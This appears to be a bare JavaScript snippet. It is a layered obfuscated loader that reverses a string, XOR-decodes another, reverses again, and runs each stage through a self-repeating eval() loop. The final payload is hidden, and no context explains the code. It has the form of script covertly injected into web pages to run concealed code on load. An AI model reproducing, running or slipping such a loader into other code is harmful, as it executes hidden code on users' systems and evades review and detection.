var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" +
"harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+
"\\\\,l=x.length;for(i=0;i<l;i++){y%=127;o+=String.fromCharCode(x.charCodeAt" +
"(i)^(y++));}return o;}f(\\\"\\\\yq|ULGMP\\\\\\\\013QUA]OGB\\\\\\\\005\\\\\\" +
"\\014\\\\\\\\023Q\\\\\\\\021ZAQS\\\\\\\\013k\\\\\\\\032T[RPIQ\\\\\\\\005)/$" +
",\\\\\\\\004'0%8($. ( a>=\\\\\\\\016qt!?#4<g\\\\\\\\007~\\\\\\\\001|a\\\\\\" +
"\\t\\\\\\\\017\\\\\\\\004\\\\\\\\014$\\\\\\\\007\\\\\\\\020\\\\\\\\005\\\\\\"+
"\\030\\\\\\\\010\\\\\\\\004\\\\\\\\016\\\\\\\\000\\\\\\\\010\\\\\\\\000A\\\\"+
"\\\\036\\\\\\\\035N\\\\\\\\\\\\\\\\\\\\\\\\025KT^CIA\\\"\\\\,29)\\\"(f};)lo" +
",0(rtsbus.o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+" +
"x{yrt{)15=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f " +
"noitcnuf\")"                                                                 ;
while(x=eval(x));

